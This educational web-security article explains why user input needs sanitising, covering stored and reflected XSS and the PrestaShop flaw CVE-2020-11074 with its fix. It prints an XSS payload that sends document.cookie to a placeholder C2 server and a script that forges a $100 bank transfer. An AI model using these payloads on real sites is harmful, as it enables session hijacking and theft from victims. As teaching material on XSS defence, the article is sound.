Here, we will discuss some examples just to make you see why it is so important to sanitize the user input properly and follow the industry standards. Unsuited user-input can lead to both server-side and client-side injections, like XSS, Template injection, SQL injection, command injection, code injection, etc. OWASP has an in-depth theory.
Whenever a web application is shifted from the development environment to the production environment, there are many things that should be taken care of, like technology stack, web-application structure, performance, and so on. But the most important thing is user-input validation or sanitization.
User input sanitization has a major role in web-application development and is considered to be a high priority for developers as well as for clients. If the user inputs are not properly sanitized, we can expect massive cyber attacks so we need to take steps to prevent this.
Terrible User Input Validation Can Be Dangerous
We should always treat user inputs seriously, there are numerous scenarios where a single slip led to a complete server takeover and chaos in big corporations like Facebook, Google, and many more.
We will discuss some examples here just to make you see why it is so important to sanitize the user input properly and follow the industry standards. Using up-to-date libraries will provide you some new features and code variety, but if a developer does not sanitize user input, the library itself is not going to do anything regarding security.
Unsuited user-input can lead to both server-side and client-side injections, like XSS, Template injection, SQL injection, command injection, code injection, etc. OWASP has an in-depth theory.
Understanding XSS Attack Vectors and Risks
Cross-Site Scripting
Cross-Site Scripting or XSS can be outlined as any malicious user intentionally executing arbitrary JavaScript on a vulnerable web-application to achieve some crafted cyber attacks. There are two main varieties of XSS, Stored XSS, and Reflected XSS.
Stored XSS
Stored XSS can be elaborated as the malicious user injecting arbitrary JavaScript code into a vulnerable page. This will be executed whenever a victim visits that page, which makes it persistent XSS, thus the page has been exploited with Stored-XSS.
Reflected XSS
Reflected XSS relies on a victim, a malicious user cannot inject JavaScript on any page but rather they do it in a URL. A link is sent via email or social media to social engineer the victim into clicking a malicious link. This is recognized as non-persistent XSS.
Risk
Cross-Site Scripting risk has been included in OWASP 2013-2017. XSS can be used to steal credential tokens, hijack sessions, and browser tab, chained with misconfigured CORS, port scanning, keylogging, and many other attack vectors can be crafted.
XSS Attack Vectors
Stealing Cookies
Here is how a malicious user will steal cookies of a vulnerable web-application via XSS. I will explain the code example step by step.
<script>
el = new Image();
el.src='https://[evil.C2.server]:1337/?' + document.cookie;
</script>
In this code example, we are creating a new HTML tag of the image with JavaScript. We are appending cookies with the source of our C2 server. In this example, the document.cookie will grab the cookie from a vulnerable web-application so, if a victim visits a vulnerable page or clicks on a malicious link, their cookies will be sent to our command and control server.
Dealing with Sensitive Data
In this code example, I will show you how a malicious user can steal sensitive information via XMLHttpRequest Object to steal, update, delete sensitive data on behalf of a victim.
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("stealFunds").innerHTML = this.responseText;
}
};
xhttp.open("POST", "https://vulnerableapp.bank/funds/transfer/account", true);
xhttp.withCredentials = true;
xhttp.setRequestHeader('Content-type', 'application/json');
xhttp.send('{"funds":"100$", "transfer_account_username":"attacker_account"}');
}
</script>
In this code example, an attacker will inject this arbitrary code into a vulnerable page to transfer $100 on behalf of a victim from their account.
The XMLHttpRequest object fetches any resource in the browser on behalf of a user to make the user interaction, and performance of a web-application, more stable and reliable.
Downloading Malware
There are many XSS frameworks but the most popular and stable are Browser Exploitation Framework (BeEF) and OWASP Xenotix XSS framework. They have modules for different types of attacks.
Both of them have built-in modules to gather information about the browser and their plugins. The most interesting is the notification update which drops a payload into the victim's computer.
CVE-2020-11074 & Stored XSS Code Example
According to WhiteSource’s Vulnerability Lab, a CVE-2020-11074 is a stored Cross-Site Scripting vulnerability in an e-commerce platform.
Let’s look at this vulnerability in-depth. Below, you can see its ratings and base score.
CVE-2020-11074 Offensive
We will understand the code examples with a defensive approach. Let's investigate the vulnerable code where the vulnerability resides.
<a href="{$href|escape:'html':'UTF-8'}"{if isset($confirm)} onclick="if (confirm('{$confirm}')){ldelim}return true;{rdelim}else{ldelim}event.stopPropagation(); event.preventDefault();{rdelim};"{/if} title="{$action|escape:'html':'UTF-8'}" class="delete">
If we notice the $confirm variable, we can understand that it must reflect the user input. The main problem which causes this vulnerability is the $confirm variable, which has not been sanitized properly, therefore it will execute arbitrary JavaScript code.
CVE-2020-11074 Defensive
A defensive approach would be to sanitize the user-input of the $confirm variable so it reflects the properly sanitized user-input. A code example below shows how a PrestaShop used a defensive approach to defend against this attack.
<a href="#"
title="{$action|escape:'html':'UTF-8'}"
class="delete"
onclick="{if $confirm}confirm_link('', '{$confirm|escape:'html':'UTF-8'}',
'{l s='Yes' d='Admin.Global'}', '{l s='No' d='Admin.Global'}',
'{$href|escape:'html':'UTF-8'}', '#')
{else}event.stopPropagation();event.preventDefault(){/if}">
<i class="icon-trash"></i> {$action|escape:'html':'UTF-8'}
</a>
If we see now, every variable which reflects data in response is now sanitized properly. The $confirm variable has been sanitized and fixed for the future. The code examples are from github.
How Can You Find Your First CVE
There are copious sources on the internet that will help you understand vulnerabilities in-depth and practice them. The most widespread platforms are Portswigger Web-security and Public firing range for XSS by Google.
Before hunting for CVEs, first we need to study the platform which we wish to find a CVE in, understand how the platform components function, and if possible try to read the source code if the platform is open source.
Summary
We’ve now seen how single user input can lead to severe situations. Always try to sanitize the user input and validate it properly, so we can defend our products from such attacks.
History
- 26th August, 2020: Initial version
